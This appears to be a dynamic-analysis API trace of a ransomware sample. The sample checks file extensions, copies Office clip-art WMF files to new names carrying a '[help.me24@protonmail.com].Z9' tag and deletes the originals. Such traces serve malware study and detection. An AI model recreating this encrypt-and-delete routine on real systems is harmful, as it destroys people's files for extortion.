	[0091.435] lstrlenW (lpString=".ppt") returned 4
	[0091.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0091.435] lstrlenW (lpString=".zip") returned 4
	[0091.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.435] lstrlenW (lpString=".rar") returned 4
	[0091.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.435] lstrlenW (lpString=".bz2") returned 4
	[0091.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.435] lstrlenW (lpString=".7z") returned 3
	[0091.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0091.435] lstrlenW (lpString=".dbf") returned 4
	[0091.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0091.435] lstrlenW (lpString=".1cd") returned 4
	[0091.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0091.435] lstrlenW (lpString=".jpg") returned 4
	[0091.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0091.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0091.436] lstrlenW (lpString=".doc") returned 4
	[0091.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.436] lstrlenW (lpString=".docx") returned 5
	[0091.436] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.436] lstrlenW (lpString=".pdf") returned 4
	[0091.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.436] lstrlenW (lpString=".xls") returned 4
	[0091.436] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.436] lstrlenW (lpString=".xlsx") returned 5
	[0091.436] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.436] lstrlenW (lpString=".ppt") returned 4
	[0091.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0091.436] lstrlenW (lpString=".zip") returned 4
	[0091.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.436] lstrlenW (lpString=".rar") returned 4
	[0091.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.436] lstrlenW (lpString=".bz2") returned 4
	[0091.436] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.436] lstrlenW (lpString=".7z") returned 3
	[0091.436] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0091.436] lstrlenW (lpString=".dbf") returned 4
	[0091.436] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0091.436] lstrlenW (lpString=".1cd") returned 4
	[0091.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68
	[0091.436] lstrlenW (lpString=".jpg") returned 4
	[0091.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.436] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0091.437] lstrlenW (lpString="DD01366_.WMF") returned 12
	[0091.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0091.438] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=1768) returned 1
	[0091.438] CloseHandle (hObject=0x378) returned 1
	[0091.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x220
	[0091.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0091.438] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.438] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0091.439] GetLastError () returned 0x0
	[0091.439] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x6e8, lpOverlapped=0x0) returned 1
	[0091.440] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x6f0, lpOverlapped=0x0) returned 1
	[0091.441] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.441] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.441] SetEndOfFile (hFile=0x338) returned 1
	[0091.441] CloseHandle (hObject=0x338) returned 1
	[0091.441] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.441] SetEndOfFile (hFile=0x378) returned 1
	[0091.442] CloseHandle (hObject=0x378) returned 1
	[0091.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0091.443] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 1
	[0091.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0091.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0091.443] lstrlenW (lpString=".doc") returned 4
	[0091.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.443] lstrlenW (lpString=".docx") returned 5
	[0091.443] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.443] lstrlenW (lpString=".pdf") returned 4
	[0091.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.443] lstrlenW (lpString=".xls") returned 4
	[0091.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.443] lstrlenW (lpString=".xlsx") returned 5
	[0091.443] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.443] lstrlenW (lpString=".ppt") returned 4
	[0091.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0091.443] lstrlenW (lpString=".zip") returned 4
	[0091.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.443] lstrlenW (lpString=".rar") returned 4
	[0091.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.443] lstrlenW (lpString=".bz2") returned 4
	[0091.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.443] lstrlenW (lpString=".7z") returned 3
	[0091.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0091.443] lstrlenW (lpString=".dbf") returned 4
	[0091.443] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0091.443] lstrlenW (lpString=".1cd") returned 4
	[0091.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0091.444] lstrlenW (lpString=".jpg") returned 4
	[0091.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0091.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0091.444] lstrlenW (lpString=".doc") returned 4
	[0091.444] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.444] lstrlenW (lpString=".docx") returned 5
	[0091.444] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.444] lstrlenW (lpString=".pdf") returned 4
	[0091.444] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.444] lstrlenW (lpString=".xls") returned 4
	[0091.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.444] lstrlenW (lpString=".xlsx") returned 5
	[0091.444] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.444] lstrlenW (lpString=".ppt") returned 4
	[0091.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0091.444] lstrlenW (lpString=".zip") returned 4
	[0091.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.444] lstrlenW (lpString=".rar") returned 4
	[0091.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.444] lstrlenW (lpString=".bz2") returned 4
	[0091.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.444] lstrlenW (lpString=".7z") returned 3
	[0091.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0091.445] lstrlenW (lpString=".dbf") returned 4
	[0091.445] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0091.445] lstrlenW (lpString=".1cd") returned 4
	[0091.445] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68
	[0091.445] lstrlenW (lpString=".jpg") returned 4
	[0091.445] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.445] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0091.445] lstrlenW (lpString="DD01434_.WMF") returned 12
	[0091.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0091.446] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=900) returned 1
	[0091.446] CloseHandle (hObject=0x378) returned 1
	[0091.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 0x220
	[0091.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0091.446] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.446] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0091.447] GetLastError () returned 0x0
	[0091.447] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x384, lpOverlapped=0x0) returned 1
	[0091.448] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x390, lpOverlapped=0x0) returned 1
	[0091.449] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.449] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.449] SetEndOfFile (hFile=0x338) returned 1
	[0091.449] CloseHandle (hObject=0x338) returned 1
	[0091.449] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.449] SetEndOfFile (hFile=0x378) returned 1
	[0091.450] CloseHandle (hObject=0x378) returned 1
	[0091.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0091.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01434_.wmf")) returned 1
	[0091.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0091.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0091.451] lstrlenW (lpString=".doc") returned 4
	[0091.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.451] lstrlenW (lpString=".docx") returned 5
	[0091.451] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.451] lstrlenW (lpString=".pdf") returned 4
	[0091.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.451] lstrlenW (lpString=".xls") returned 4
	[0091.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.451] lstrlenW (lpString=".xlsx") returned 5
	[0091.451] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.451] lstrlenW (lpString=".ppt") returned 4
	[0091.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0091.451] lstrlenW (lpString=".zip") returned 4
	[0091.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.451] lstrlenW (lpString=".rar") returned 4
	[0091.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.451] lstrlenW (lpString=".bz2") returned 4
	[0091.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.451] lstrlenW (lpString=".7z") returned 3
	[0091.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0091.451] lstrlenW (lpString=".dbf") returned 4
	[0091.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0091.451] lstrlenW (lpString=".1cd") returned 4
	[0091.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0091.452] lstrlenW (lpString=".jpg") returned 4
	[0091.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0091.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0091.452] lstrlenW (lpString=".doc") returned 4
	[0091.452] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.452] lstrlenW (lpString=".docx") returned 5
	[0091.452] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.452] lstrlenW (lpString=".pdf") returned 4
	[0091.452] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.452] lstrlenW (lpString=".xls") returned 4
	[0091.452] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.452] lstrlenW (lpString=".xlsx") returned 5
	[0091.452] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.452] lstrlenW (lpString=".ppt") returned 4
	[0091.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0091.452] lstrlenW (lpString=".zip") returned 4
	[0091.452] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.452] lstrlenW (lpString=".rar") returned 4
	[0091.452] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.452] lstrlenW (lpString=".bz2") returned 4
	[0091.452] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.452] lstrlenW (lpString=".7z") returned 3
	[0091.452] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0091.452] lstrlenW (lpString=".dbf") returned 4
	[0091.452] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0091.452] lstrlenW (lpString=".1cd") returned 4
	[0091.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0091.452] lstrlenW (lpString=".jpg") returned 4
	[0091.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.453] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0091.453] lstrlenW (lpString="DD01585_.WMF") returned 12
	[0091.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0091.453] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2524) returned 1
	[0091.453] CloseHandle (hObject=0x378) returned 1
	[0091.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x220
	[0091.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0091.453] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.453] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0091.454] GetLastError () returned 0x0
	[0091.454] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x9dc, lpOverlapped=0x0) returned 1
	[0091.455] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x9e0, lpOverlapped=0x0) returned 1
	[0091.456] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.456] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.456] SetEndOfFile (hFile=0x338) returned 1
	[0091.456] CloseHandle (hObject=0x338) returned 1
	[0091.457] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.457] SetEndOfFile (hFile=0x378) returned 1
	[0091.457] CloseHandle (hObject=0x378) returned 1
	[0091.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0091.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 1
	[0091.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0091.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0091.458] lstrlenW (lpString=".doc") returned 4
	[0091.458] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.458] lstrlenW (lpString=".docx") returned 5
	[0091.458] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.458] lstrlenW (lpString=".pdf") returned 4
	[0091.458] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.458] lstrlenW (lpString=".xls") returned 4
	[0091.458] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.458] lstrlenW (lpString=".xlsx") returned 5
